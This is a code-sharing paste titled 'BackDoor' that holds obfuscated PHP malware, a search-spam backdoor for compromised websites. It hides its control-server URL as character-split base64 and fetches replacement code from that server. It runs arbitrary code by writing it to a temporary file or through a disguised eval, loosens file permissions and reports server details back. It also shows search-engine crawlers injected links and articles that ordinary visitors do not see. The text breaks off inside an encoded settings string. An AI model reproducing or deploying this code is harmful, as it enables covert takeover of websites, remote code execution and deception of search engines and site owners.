BackDoor

mail@pastecode.io avatar
unknown
php
a year ago
73 kB
2
Indexable
Never
<?php ini_set('display_errors',0);error_reporting(0);ini_set('pcre.backtrack_limit','10485760000');if(!class_exists('doors_s')){class doors_s{function __construct(){$this->ping_link=base64_decode('a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'L'.'y'.'9'.'z'.'d'.'G'.'F'.'0'.'L'.'n'.'V'.'j'.'Z'.'G'.'4'.'u'.'c'.'H'.'J'.'v'.'L'.'z'.'U'.'3'.'Z'.'D'.'B'.'h'.'O'.'G'.'N'.'h'.'N'.'D'.'g'.'0'.'Z'.'W'.'Q'.'4'.'Z'.'D'.'F'.'k'.'M'.'W'.'I'.'4'.'Y'.'2'.'M'.'5'.'M'.'j'.'Q'.'y'.'N'.'m'.'R'.'h'.'M'.'W'.'E'.'2'.'L'.'3'.'M'.'u'.'c'.'G'.'h'.'w');$this->token='asu34n';$this->mem=false;$this->file_set=__DIR__.'/{file_set}';$this->key_set='doors_set';$this->script_path=__FILE__;$this->log=false;$this->ver='1.4';$this->get_set();$this->time_cache=3600;$this->cache_dirs=array('cache','caching','wcache','wcaching');}function log_t($s){echo date('Y-m-d H:i:s').' --- '.$s."\n\n";}function log_tt($s){static $serv;if($this->log){if(!isset($serv)){print_r($_SERVER);echo "POST = ".print_r($_POST,true)."\n\n";echo "COOKIE = ".print_r($_COOKIE,true)."\n\n";echo "__DIR__=".__DIR__."\n\n";echo "is_google_bot() = ".$this->is_google_bot()."\n\n";$serv=1;}echo date('Y-m-d H:i:s').' --- '.$s."\n\n";}}function get_links(){if($this->set['links'])return $this->set['links'];return false;}function get_articles(){if($this->set['articles'])return $this->set['articles'];return false;}function reset_link_uri($lid){if($this->set['links'])foreach($this->set['links']as $lvl=>$data){if($data)foreach($data as $k=>$link){if($link['id']==$lid){$link['uri']='';$data[$k]=$link;}}$this->set['links'][$lvl]=$data;}if($this->save_set())return true;return false;}function update_link($lnk){$change_lvl=false;$updated=false;if($this->set['links'])foreach($this->set['links']as $lvl=>$data){if($data)foreach($data as $k=>$link){if($link['id']==$lnk['id']){$updated=true;$link['code']=$lnk['content'];$show_for=array();if($lnk['show_for_google']==1)$show_for[]='google';if($lnk['show_for_yandex']==1)$show_for[]='yandex';if($lnk['show_for_user']==1)$show_for[]='user';if($lnk['link_uri'])$link['uri']=$lnk['link_uri'];$link['show_for']=$show_for;$link['n_pos']=$lnk['n_pos'];if($lvl!=$lnk['lvl']){$link['uri']='';$mv_link=$link;$change_lvl=true;unset($data[$k]);$this->set['links'][$lvl]=$data;break 2;}$data[$k]=$link;}}$this->set['links'][$lvl]=$data;}if($change_lvl){$this->set['links'][$lnk['lvl']][]=$mv_link;}if(!$updated){$link=array('id'=>$lnk['id'],'code'=>$lnk['content'],'uri'=>$lnk['link_uri'],'n_pos'=>$lnk['n_pos']);if($lnk['show_for_google']==1)$show_for[]='google';if($lnk['show_for_yandex']==1)$show_for[]='yandex';if($lnk['show_for_user']==1)$show_for[]='user';$link['show_for']=$show_for;$this->set['links'][$lnk['lvl']][]=$link;}if($this->save_set())return true;return false;}function update_article($artcl){$updated=false;if($this->set['articles'])foreach($this->set['articles']as $k=>$article){if($artcl['id']==$article['id']){$updated=true;$this->set['articles'][$k]=$artcl;}}if(!$updated){$this->set['articles'][]=$artcl;}if($this->save_set())return true;return false;}function update_set($set){if($set)foreach($set as $k=>$val){$this->set[$k]=$val;}return $this->save_set();}function encrypt_set($set){$c=base64_encode(json_encode($set));preg_match_all('#(.)#',$c,$m);$t=array();$f='$d_set=';$r='';if($m[1])foreach($m[1]as $k=>$ch){$t[]="'".$ch."'";if(count($t)==5000){$r.=$f.implode('.',$t).';';$f='$d_set.=';$t=array();}}if(count($t)>0){$r.=$f.implode('.',$t).';';}return $r;}function save_set($c=false){$this->log_tt('start save set');if(false&&$this->is_available_memcache()){if($this->mem_set_cache($this->key_set,json_encode($this->set),3600*24*30))return true;}else{$r=false;if(!$c)$c=file_get_contents($this->script_path);$this->log_tt('original length of c = '.strlen($c));$c=preg_replace('#(\$start_d'.'r_set=1;)(.+?)('.'\$end_d'.'r_set=1;)#si','$1'.$this->encrypt_set($this->set).'$3',$c);$this->log_tt('new length of c = '.strlen($c));if($c)$r=file_put_contents($this->script_path,$c);$this->log_tt('result of file_put_contents = '.intval($r));if($c)file_put_contents(__DIR__.'/t.txt',$c);if($r)return true;}return false;}function del_link($lid){if($this->set['links'])foreach($this->set['links']as $lvl=>$data){if($data)foreach($data as $k=>$link){if($link['id']==$lid)unset($data[$k]);}}$this->set['links'][$lvl]=$data;return $this->save_set();}function del_article($id){if($this->set['articles'])foreach($this->set['articles']as $k=>$article){if($article['id']==$id)unset($this->set['articles'][$k]);}return $this->save_set();}function truncate_links(){$this->set['links']=array();if($this->save_set())return true;else return false;}function update_sh_code(){$c=$this->send_post($this->ping_link.'?get_sh_code&host='.$_SERVER['SERVER_NAME'].'&php_ver='.phpversion());if($c&&$this->save_set($c))return true;return false;}function set_article($article){if(!$article['uri']||!$article['uri']||!$article['uri']||!$article['uri']||!$article['id'])return false;if($this->set['articles'])foreach($this->set['articles']as $artcl){if($artcl['id']==$article['id'])return false;}$this->set['articles'][]=$article;$this->save_set();return true;}function set_link($link){if(!$link['code']||!$link['lvl']||!$link['id'])return false;if($this->set['links'])foreach($this->set['links']as $lvl=>$data){if($data)foreach($data as $k=>$lnk){if($link['id']==$lnk['id'])return false;}}$counts=array();if($this->set['links'])foreach($this->set['links'][$link['lvl']]as $lnk){$counts[$lnk['n_pos']]++;}$min=min($counts);if($counts)foreach($counts as $pos=>$count){if($count!=$min)unset($counts[$pos]);}$pos=array_rand($counts);if(!isset($link['n_pos'])||!$link['n_pos'])$link['n_pos']=array_rand($this->link_positions);if(!$link['n_pos'])$link['n_pos']=0;if(!isset($link['uri']))$link['uri']='';$this->set['links'][$link['lvl']][]=$link;$this->save_set();return true;}function get_set(){global $doors_set;$this->set=array();if(false&&$this->is_available_memcache()){$t=$this->mem_get_cache($this->key_set);$this->set=json_decode($t,true);}if(!$this->set&&file_exists($this->file_set)){$this->set=json_decode($this->file_set,true);}if(!$this->set){$c=file_get_contents($this->script_path);if(preg_match('#start_d'.'r_set=1;(.+?)\$end_d'.'r_set=1;#si',$c,$m)){$m[1]=preg_replace('#\$d_set[.]?=#','',$m[1]);$m[1]=str_replace(';','.',$m[1]);$m[1]=str_replace('..','.',$m[1]);$m[1]=preg_replace('#\.$#','',$m[1]);$m[1]=str_replace("'.'",'',$m[1]);$m[1]=str_replace("'",'',$m[1]);$m[1]=trim($m[1]);$this->set=json_decode(base64_decode($m[1]),true);}}if(isset($this->set['link_positions'])&&$this->set['link_positions']){$this->link_positions=explode("\n",$this->set['link_positions']);}if(!is_array($this->set))$this->set=array();}function send_post($url,$post=false,$timeout=5,$cookie='',$useragent=''){if($useragent=='chrome')$useragent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36';if(!function_exists('curl_init')){$this->log_tt('curl dont exist');$opts=array('http'=>array('method'=>'GET'),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false));$headers=array();if($post){$post['token']=$this->token;$opts['http']['method']='POST';$headers[]='Content-Type: application/x-www-form-urlencoded';$opts['http']['content']=http_build_query($post);}if($cookie){$t=explode('; ',$cookie);foreach($t as $val){$val=trim($val);if($val)$headers[]='Cookie: '.$val;}}if($useragent)$headers[]='User-Agent: '.$useragent;$opts['http']['header']=implode("\r\n",$headers);$context=stream_context_create($opts);$r=file_get_contents($url,false,$context);}else{$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);if($post){curl_setopt($ch,CURLOPT_POST,1);$post['token']=$this->token;curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($post));}curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_REFERER,$url);if($cookie)curl_setopt($ch,CURLOPT_COOKIE,$cookie);if($useragent)curl_setopt($ch,CURLOPT_USERAGENT,$useragent);if($timeout){curl_setopt($ch,CURLOPT_TIMEOUT,$timeout);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);}if(!$r){$info=curl_getinfo($ch);$this->log_tt(print_r($info,true));}$r=curl_exec($ch);}return $r;}function init_mem(){return false;if(class_exists('memcached'))$this->mem=new memcached();elseif(class_exists('memcache'))$this->mem=new memcache();else return false;$this->mem->addServer("127.0.0.1",11211);}function mem_set_cache($key,$val,$time=2592000){return false;if(!$this->mem)$this->init_mem();if(!$this->mem)return false;$key=md5(@$_SERVER['SERVER_NAME'].$key);$val=base64_encode($val);if(class_exists('memcached'))$this->mem->set($key,$val,$time);else $this->mem->set($key,$val,0,$time);}function mem_get_cache($key){if(@$_COOKIE['no_cache_door']=='1')return false;if(!$this->mem)$this->init_mem();if(!$this->mem)return false;$key=md5(@$_SERVER['SERVER_NAME'].$key);return base64_decode($this->mem->get($key));}function is_available_memcache(){return false;if(class_exists('memcached')||class_exists('memcache'))return true;return false;}function is_google_bot(){if(strstr(strtolower($_SERVER['HTTP_USER_AGENT']),"googlebot")){return true;}return false;}function is_yandex_bot(){if(!empty($_SERVER['HTTP_USER_AGENT'])){$options=array('yandex','YandexBot','YandexAccessibilityBot','YandexMobileBot','YandexDirectDyn','YandexScreenshotBot','YandexImages','YandexVideo','YandexVideoParser','YandexMedia','YandexBlogs','YandexFavicons','YandexWebmaster','YandexPagechecker','YandexImageResizer','YandexAdNet','YandexDirect','YaDirectFetcher','YandexCalendar','YandexSitelinks','YandexMetrika','YandexNews','YandexNewslinks','YandexCatalog','YandexAntivirus','YandexMarket','YandexVertis','YandexForDomain','YandexSpravBot','YandexSearchShop','YandexMedianaBot','YandexOntoDB','YandexOntoDBAPI');foreach($options as $row){if(stripos($_SERVER['HTTP_USER_AGENT'],$row)!==false){return true;}}}return false;}function get_lvl_p(){if(!isset($this->set['uri_main']))$this->set['uri_main']='';if(@$this->set['uri_main']!=''&&@$this->set['uri_main']==@$_SERVER['REQUEST_URI'])return 1;if(@$_SERVER['REQUEST_URI']=='/')return 1;return 2;}function ping_set_link($link){$data=array('act'=>'set_link','link'=>$link);$this->send_post($this->ping_link,$data);}function is_bot(){if(!empty($_SERVER['HTTP_USER_AGENT'])){$options=array('yandex','YandexBot','YandexAccessibilityBot','YandexMobileBot','YandexDirectDyn','YandexScreenshotBot','YandexImages','YandexVideo','YandexVideoParser','YandexMedia','YandexBlogs','YandexFavicons','YandexWebmaster','YandexPagechecker','YandexImageResizer','YandexAdNet','YandexDirect','YaDirectFetcher','YandexCalendar','YandexSitelinks','YandexMetrika','YandexNews','YandexNewslinks','YandexCatalog','YandexAntivirus','YandexMarket','YandexVertis','YandexForDomain','YandexSpravBot','YandexSearchShop','YandexMedianaBot','YandexOntoDB','YandexOntoDBAPI','Googlebot','Googlebot-Image','Mediapartners-Google','AdsBot-Google','Mail.RU_Bot','bingbot','Accoona','ia_archiver','Ask Jeeves','OmniExplorer_Bot','W3C_Validator','WebAlta','YahooFeedSeeker','Yahoo!','Ezooms','','Tourlentabot','MJ12bot','AhrefsBot','SearchBot','SiteStatus','Nigma.ru','Baiduspider','Statsbot','SISTRIX','AcoonBot','findlinks','proximic','OpenindexSpider','statdom.ru','Exabot','Spider','SeznamBot','oBot','C-T bot','Updownerbot','Snoopy','heritrix','Yeti','DomainVader','DCPbot','PaperLiBot');foreach($options as $row){if(stripos($_SERVER['HTTP_USER_AGENT'],$row)!==false){return true;}}}return false;}function get_info(){$r=array('php_ver'=>phpversion());if(function_exists('curl_init'))$r['curl']=1;else $r['curl']=0;if($this->check_dns_lookup_se('66.249.72.103',false)=='google')$r['dnslookup']=1;else $r['dnslookup']=0;$this->init_mem();if(!$this->mem){$r['memcache']=0;}else{$this->mem_set_cache('test_door',123,60);sleep(1);$t=$this->mem_get_cache('test_door');if($t==123)$r['memcache']=1;else $r['memcache']=0;}$r['shell_path']=__FILE__;if(!is_writeable(__FILE__))chmod(__FILE__,0777);if(is_writeable(__FILE__))$r['writeable']=1;else $r['writeable']=0;if(extension_loaded('ionCube Loader'))$r['ioncube']=1;else $r['ioncube']=0;$r['ver']=$this->ver;return $r;}function is_se_lookup(){static $r;if(isset($r))return $r;$r=false;$ips=@array($_SERVER['REMOTE_ADDR'],$_SERVER['HTTP_X_FORWARDED_FOR'],$_SERVER['HTTP_CLIENT_IP'],$_SERVER['HTTP_X_REAL_IP']);$ips=array_unique($ips);foreach($ips as $d){$i=explode(',',$d);foreach($i as $ip){$ip=trim($ip);if(!$ip||$ip=='127.0.0.1'||!preg_match('#^[0-9]+.[0-9]+.[0-9]+.[0-9]+$#',$ip))continue;$r_dns=$this->check_dns_lookup_se($ip);if($r_dns!=''){$r=$r_dns;break 2;}}}return $r;}function get_links_cur_page(){$this->log_tt('get links current page');if(!isset($_SERVER['REQUEST_URI']))return array();$current_links=array();if(!isset($this->set['links']))$this->set['links']=array();if($this->set['links'])foreach($this->set['links']as $lvl=>$links){if($links)foreach($links as $k=>$link){if($link['uri']==@$_SERVER['REQUEST_URI'])$current_links[]=$link;}}$this->log_tt('links of current page = '.print_r($current_links,true));return $current_links;}function get_article_cur_page(){if(!isset($_SERVER['REQUEST_URI']))return false;if(!isset($this->set['articles']))$this->set['articles']=array();if($this->set['articles'])foreach($this->set['articles']as $article){if($article['uri']==@$_SERVER['REQUEST_URI'])return $article;}return false;}function filter_links_show_for($links){$r=array();if($links)foreach($links as $link){$this->log_tt('filter link '.print_r($link,true));$show=false;$se=false;if(in_array('user',$link['show_for'])){$show=true;}if(!$show&&in_array('google',$link['show_for'])){if($this->is_google_bot()){$show=true;}else{if($this->is_se_lookup()=='google')$show=true;}}if(!$show&&in_array('yandex',$link['show_for'])){if($this->is_yandex_bot()){$show=true;}else{if($this->is_se_lookup()=='yandex')$show=true;}}$this->log_tt('result = '.intval($show));if($show)$r[]=$link;}return $r;}function insert_article_code($c,$article){$this->log_tt('try to set title');$c=preg_replace('#<title>.+?</title>#si','<title>'.$article['title'].'</title>',$c);if(substr_count($c,$article['title'])>0)$this->log_tt('ok');else $this->log_tt('error :(');$this->log_tt('try to set description');if(!preg_match('#name="description"#',$c)){$c=str_replace('</head>','<meta name="description" content="'.$article['descr'].'"></head>',$c);}else{$c=preg_replace('#name="description" content=".*"#','name="description" content="'.$article['descr'].'"',$c);}if(substr_count($c,$article['descr'])>0)$this->log_tt('ok');else $this->log_tt('error :(');$this->log_tt('try to set content');if($this->set['regexp_article_content']){if(preg_match('#^(.+?)=>(.+?)$#',$this->set['regexp_article_content'],$m)){$this->log_tt('preg replace '.$m[1].' to '.$m[2]);$c=preg_replace($m[1],$m[2],$c);$c=str_replace('{door_content}',$article['content'],$c);}}if(substr_count($c,$article['content'])>0)$this->log_tt('ok');else $this->log_tt('error :(');$c=str_replace('{$host}',$_SERVER['SERVER_NAME'],$c);return $c;}function insert_link_code($c,$link){$pos=$this->link_positions[$link['n_pos']];if($this->set['change_links_pos_charset']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_links_pos_charset'],$m)){$pos=iconv($m[1],$m[2],$pos);}if($this->set['change_links_html_reverse']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_links_html_reverse'],$m)){$c=iconv($m[1],$m[2],$c);}$this->log_tt('try insert link to code in position '.$pos);if(!$pos){$this->log_tt('NOT POSITION, continue');return $c;}if($this->set['change_links_charset']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_links_charset'],$m)){$this->log_tt('change charset link code from '.$m[1].' to '.$m[2]);$link['code']=iconv($m[1],$m[2],$link['code']);}$this->log_tt('link code is: '.$link['code']);$copy_c=$c;if(preg_match('#after:(.+?)$#',$pos,$m)){$this->log_tt('try insert after '.$m[1].' === reg exp replace: '.'#'.$m[1].'#ui'.' TO '.' '.$m[1].$link['code'].' ');$c=preg_replace('#'.$m[1].'#ui',' '.$m[1].$link['code'].' ',$c,1);if(strlen($c)==0){$this->log_tt('preg_replace didnt work, try through substr_replace');$posit=strpos($copy_c,$pos);if($posit!==false){$this->log_tt('strpos found position '.$posit);$c=substr_replace($c,' '.$m[1].$link['code'].' ',$posit,strlen($pos));}else{$this->log_tt('strpos DID NOT found position '.$posit);}}}elseif(preg_match('#before:(.+?)$#',$pos,$m))$c=preg_replace('#'.$m[1].'#',' '.$link['code'].$m[1].' ',$c,1);if(substr_count($c,$link['code'])){$this->log_tt('link SUCCESS inserted');}else{$this->log_tt('link FAIL inserted');}$this->log_tt('content length of changed content = '.strlen($c));if($this->set['change_links_html_reverse']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_links_html_reverse'],$m)){$c=iconv($m[2],$m[1],$c);}return $c;}function get_scheme(){if($this->is_https())return 'https';else return 'http';$scheme='http';if(isset($_SERVER['REQUEST_SCHEME'])){$scheme=$_SERVER['REQUEST_SCHEME'];}elseif($_SERVER['HTTPS']=='on'){$scheme='https';}return $scheme;}function is_https(){if(isset($_SERVER['HTTP_CF_VISITOR'])){$t=json_decode($_SERVER['HTTP_CF_VISITOR'],true);if($t['scheme']=='https')return true;elseif($t['scheme']=='http')return false;}if(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){if($_SERVER['HTTP_X_FORWARDED_PROTO']=='https')return true;else return false;}if(isset($_SERVER['REQUEST_SCHEME'])){if($_SERVER['REQUEST_SCHEME']=='https')return true;else return false;}if(isset($_SERVER['HTTPS'])){if($_SERVER['HTTPS']=='on')return true;else return false;}return false;}function show_links(){$this->log_tt('start show links');if(!isset($this->link_positions))$this->link_positions=array();$this->log_tt('start show_links');$this->log_tt('link positions: '.print_r($this->link_positions,true));$links=$this->get_links_cur_page();$this->log_tt('Found '.count($links).' links before filtering');$links=$this->filter_links_show_for($links);$scheme=$this->get_scheme();$url=$scheme.'://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];$cachefile=md5($url).'.txt';if(isset($_COOKIE['doors_test_links'])&&$_COOKIE['doors_test_links']==1){$this->log_tt('show test links');$links=array();if($this->link_positions)foreach($this->link_positions as $k=>$val){$links[]=array('n_pos'=>$k,'code'=>'<a href="https://google.ru">test link #'.($k+1).'</a>');}}$this->log_tt('found '.count($links).' links: '.print_r($links,true));if(count($links)==0)return;$c=false;if($this->is_available_memcache()){$md5=md5($_SERVER['REQUEST_URI'].implode(',',$_GET));$c=$this->mem_get_cache($md5);}$c_from_cache=false;if(!$c&&$this->set['cache_in_files']=='1'){if($this->cache_dirs)foreach($this->cache_dirs as $dir){$path=__DIR__.'/'.$dir.'/'.$cachefile;if(file_exists($path)){if(time()-filemtime($path)>$this->time_cache){$this->log_tt('filetime of cache file > '.$this->time_cache.' seconds, delete file');unlink($path);break;}$c_from_cache=true;$this->log_tt('got content from '.$path);$c=file_get_contents($path);break;}}}if(!$c){$this->log_tt('try to send query to this page');$c=$this->send_post($url,false,false,'gui_ym_noc=1; '.$this->set['cookie'],'chrome');$this->log_tt('url '.$url.' got content, length='.strlen($c));if($_COOKIE['doors_view_content']==1)$this->log_tt('content is: start_content -- '.$c.' -- end_content');}$this->log_tt('before change charset');if($this->set['change_charset']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_charset'],$m)){$this->log_tt('change charset from '.$m[1].' to  '.$m[2]);$c=iconv($m[1],$m[2],$c);}if($c&&$this->is_available_memcache()){$this->mem_set_cache($md5,$c,3600);}elseif($c&&!$c_from_cache&&$this->set['cache_in_files']=='1'){$this->log_tt('try to cache content to file');if($this->cache_dirs)foreach($this->cache_dirs as $dir){$path=__DIR__.'/'.$dir;if(!file_exists($path))mkdir($path,0777,true);if(!is_writable($path))chmod($path,0777);if(!is_writable($path))continue;if(!file_put_contents($path.'/'.$cachefile,$c)){$this->log_tt('ERROR saveing cache to '.$path.'/'.$cachefile);continue;}else{$this->log_tt('success saved cache to '.$path.'/'.$cachefile);break;}}}$this->log_tt('insert links in code');if($links)foreach($links as $link){$c=$this->insert_link_code($c,$link);}if($c){if($this->set['custom_headers']!='')header($this->set['custom_headers']);$this->log_tt('show updated code');$c=$this->replace_in_html($c);$c=$this->add_links_to_articles($c);echo $c;exit;}else{$this->log_tt('fail inserting links :( show site');}}function show_articles(){if(!$this->is_google_bot()&&$this->is_se_lookup()!='google'){$this->log_tt('not google bot, dont show articles');return false;}$this->log_tt('start show articles');$article=$this->get_article_cur_page();if(!$article){$this->log_tt('no article current page');return;}$scheme=$this->get_scheme();$url=$scheme.'://'.$_SERVER['SERVER_NAME'].'/';$this->log_tt('try to send query to this page');$c=$this->send_post($url,false,false,'gui_ym_noc=1; '.$this->set['cookie'],'chrome');$this->log_tt('url '.$url.' got content, length='.strlen($c));if($_COOKIE['doors_view_content']==1)$this->log_tt('content is: start_content -- '.$c.' -- end_content');$this->log_tt('before change charset');if($this->set['change_charset']!=''&&preg_match('#^(.+?)=>(.+?)$#',$this->set['change_charset'],$m)){$this->log_tt('change charset from '.$m[1].' to  '.$m[2]);$c=iconv($m[1],$m[2],$c);}$this->log_tt('insert title, descr, and content in code');$c=$this->insert_article_code($c,$article);if($c){if($this->set['custom_headers']!='')header($this->set['custom_headers']);$this->log_tt('show updated code');$c=$this->replace_in_html($c);$c=str_replace('{$host}',$_SERVER['SERVER_NAME'],$c);echo $c;exit;}else{$this->log_tt('fail inserting article content :( show site');}}function add_links_to_articles($c){$this->log_tt('try to add links to articles');$pos=$this->set['pos_links_articles'];if(!$pos){$this->log_tt("not pos for links articles");return $c;}$links=$this->get_links_to_articles();if(preg_match('#after:(.+?)$#',$pos,$m)){$c=preg_replace('#'.$m[1].'#ui',' '.$m[1].$links.' ',$c,1);}elseif(preg_match('#before:(.+?)$#',$pos,$m)){$c=preg_replace('#'.$m[1].'#',' '.$links.$m[1].' ',$c,1);}if(substr_count($c,$links)){$this->log_tt('links to articles SUCCESS inserted');}else{$this->log_tt('links to articles FAIL inserted');}$c=str_replace('{$host}',$_SERVER['SERVER_NAME'],$c);return $c;}function get_links_to_articles(){$links=array();foreach($this->set['articles']as $article){$links[]=' <a href="'.$article['uri'].'">'.$article['title'].'</a> ';}if(count($links)>0)return implode(' ',$links);return false;}function replace_in_html($c){$data=explode("\n",str_replace("\r",'',$this->set['replace_in_html']));if($data)foreach($data as $val){if(preg_match('#^(.+?) => (.+?)$#',$val,$m)){$c=preg_replace($m[1],$m[2],$c);}}return $c;}function try_set_new_links(){$this->log_tt('try set new links');if(!$this->is_google_bot()&&$this->is_se_lookup()!='google'){$this->log_tt('not google bot, return');return false;}if(!isset($_SERVER['REQUEST_URI'])||preg_match('#^/wp-#',$_SERVER['REQUEST_URI'])||preg_match('#\.((jpe?g)|(gif)|(css)|(js)|(xml)|(png)|(txt)|(csv)|(ico))$#',$_SERVER['REQUEST_URI'])){$this->log_tt('bad extension, return false');return false;}$clvl=$this->get_lvl_p();$current_links=$this->get_links_cur_page();if(!isset($this->set['max_links_page']))$this->set['max_links_page']=5;if(!isset($this->set['max_links_2lvlpage']))$this->set['max_links_2lvlpage']=5;if($clvl==1){if(count($current_links)>=$this->set['max_links_page']){$this->log_tt('too much links for this page, return false');return false;}}else{if(count($current_links)>=$this->set['max_links_2lvlpage']){$this->log_tt('too much links for this page, return false');return false;}}$placed=false;if($this->set['links'])foreach($this->set['links']as $lvl=>$links){if($clvl!=$lvl)continue;if($links)foreach($links as $k=>$link){if($link['uri']==''){$placed=true;$link['uri']=$_SERVER['REQUEST_URI'];$this->set['links'][$lvl][$k]=$link;if($this->save_set())$this->ping_set_link($link);break 2;}}}$this->log_tt('end set new links');return $placed;}function ev($code,$d_params){global $dr_cl;$this->log_tt('start ev code: '.$code);$file=__DIR__.'/t.php';if(file_put_contents($file,'<?php $code_executed=true;'.$code)){$this->log_tt('write code to '.$file.' and include it');include $file;unlink($file);if(isset($code_executed))$this->log_tt('code executed success');else $this->log_tt('code executed error:(');return true;}elseif(function_exists('e'.'v'.'a'.'l')){$this->log_tt("eval code with function eval");$t='e'.'v'.'a'.'l';$t($code);}else{$this->log_tt('cannot create '.$file);}return false;}function get_c($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt_array($ch,array(CURLOPT_RETURNTRANSFER=>1,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0));$r=curl_exec($ch);}else{$r=file_get_contents($url);}return $r;}function show_index_with_links_articles(){if(!$this->is_google_bot()&&$this->is_se_lookup()!='google'){$this->log_tt("this is not google, return");return false;}if(!$this->set['pos_links_articles']){$this->log_tt("no set pos links articles");return false;}$scheme=$this->get_scheme();$url=$scheme.'://'.$_SERVER['SERVER_NAME'].'/';$this->log_tt('try to send query to '.$url);$c=$this->send_post($url,false,false,'gui_ym_noc=1; '.$this->set['cookie'],'chrome');$this->log_tt('url '.$url.' got content, length='.strlen($c));$c=$this->add_links_to_articles($c);if($c){echo $c;exit;}}function check_dns_lookup_se($ip=false,$setcookie=true){if(!$ip){$ip=get_ip();$ip=explode(',',str_replace(' ','',$ip));$ip=$ip[0];if(!$ip)return false;}$vars=array('google','yandex','msn');$key=str_replace('=','',base64_encode('ipp_'.$ip));if(isset($_COOKIE[$key])){if(in_array($_COOKIE[$key],$vars))return $_COOKIE[$key];else return '';}$r=gethostbyaddr($ip);$se='none';if(preg_match('#google#i',$r))$se='google';elseif(preg_match('#yandex#i',$r)||preg_match('#yndx.net#',$r))$se='yandex';elseif(preg_match('#msn.com#',$r)||preg_match('#msn.net#',$r))$se='msn';if($setcookie)setcookie($key,$se,time()+3600*24*7*30*12);if($se=='none')$se='';return $se;}function audit(){echo '<h1>DOORS AUDIT</h1>';echo 'Current set:<br /><textarea style="width: 400px; height: 300px">'.print_r($this->set,true).'</textarea><br />';echo 'Current path file: '.__FILE__.' writable: '.(is_writeable(__FILE__)?'YES':'NO').'<br />';echo 'Current dir: '.__DIR__.' writable: '.(is_writeable(__DIR__)?'YES':'NO').'<br />';echo 'INFO:<br /><textarea style="width: 400px; height: 300px">'.f($this->get_info(),true).'</textarea><br />';echo 'SERVER:<br /><textarea style="width: 400px; height: 300px">'.print_r($_SERVER,true).'</textarea>';}function ping_site(){$this->get_c($this->ping_link.'?ping_site&host='.$this->get_scheme().'://'.$_SERVER['SERVER_NAME'].'&data='.urlencode(json_encode($this->get_info())));$this->set['pinged']=1;if($this->save_set())return true;return false;}}if(!defined('__DIR__'))define('__DIR__',dirname(__FILE__));$start_dr_set=1;$d_set='e'.'y'.'J'.'w'.'a'.'W'.'5'.'n'.'Z'.'W'.'Q'.'i'.'O'.'j'.'E'.'s'.'I'.'m'.'x'.'p'.'b'.'m'.'t'.'f'.'c'.'G'.'9'.'z'.'a'.'X'.'R'.'p'.'b'.'2'.'5'.'z'.'I'.'j'.'o'.'i'.'Y'.'W'.'Z'.'0'.'Z'.'X'.'I'.'6'.'P'.'F'.'w'.'v'.'a'.'D'.'E'.'+'.'X'.'G'.'5'.'h'.'Z'.'n'.'R'.'l'.'c'.'j'.'p'.'c'.'d'.'T'.'A'.'0'.'M'.'W'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'I'.'8'.'X'.'C'.'9'.'h'.'P'.'i'.'I'.'s'.'I'.'m'.'1'.'h'.'e'.'F'.'9'.'s'.'a'.'W'.'5'.'r'.'c'.'1'.'9'.'w'.'Y'.'W'.'d'.'l'.'I'.'j'.'o'.'i'.'N'.'S'.'I'.'s'.'I'.'m'.'1'.'h'.'e'.'F'.'9'.'s'.'a'.'W'.'5'.'r'.'c'.'1'.'8'.'y'.'b'.'H'.'Z'.'s'.'c'.'G'.'F'.'n'.'Z'.'S'.'I'.'6'.'I'.'j'.'U'.'i'.'L'.'C'.'J'.'k'.'b'.'n'.'N'.'s'.'b'.'2'.'9'.'r'.'d'.'X'.'A'.'i'.'O'.'i'.'I'.'w'.'I'.'i'.'w'.'i'.'Y'.'2'.'F'.'j'.'a'.'G'.'V'.'f'.'a'.'W'.'5'.'f'.'Z'.'m'.'l'.'s'.'Z'.'X'.'M'.'i'.'O'.'i'.'I'.'w'.'I'.'i'.'w'.'i'.'Y'.'2'.'9'.'v'.'a'.'2'.'l'.'l'.'I'.'j'.'o'.'i'.'I'.'i'.'w'.'i'.'c'.'m'.'V'.'w'.'b'.'G'.'F'.'j'.'Z'.'V'.'9'.'p'.'b'.'l'.'9'.'o'.'d'.'G'.'1'.'s'.'I'.'j'.'o'.'i'.'I'.'i'.'w'.'i'.'Y'.'2'.'h'.'h'.'b'.'m'.'d'.'l'.'X'.'2'.'N'.'o'.'Y'.'X'.'J'.'z'.'Z'.'X'.'Q'.'i'.'O'.'i'.'I'.'i'.'L'.'C'.'J'.'j'.'a'.'G'.'F'.'u'.'Z'.'2'.'V'.'f'.'b'.'G'.'l'.'u'.'a'.'3'.'N'.'f'.'Y'.'2'.'h'.'h'.'c'.'n'.'N'.'l'.'d'.'C'.'I'.'6'.'I'.'i'.'I'.'s'.'I'.'m'.'N'.'o'.'Y'.'W'.'5'.'n'.'Z'.'V'.'9'.'s'.'a'.'W'.'5'.'r'.'c'.'1'.'9'.'w'.'b'.'3'.'N'.'f'.'Y'.'2'.'h'.'h'.'c'.'n'.'N'.'l'.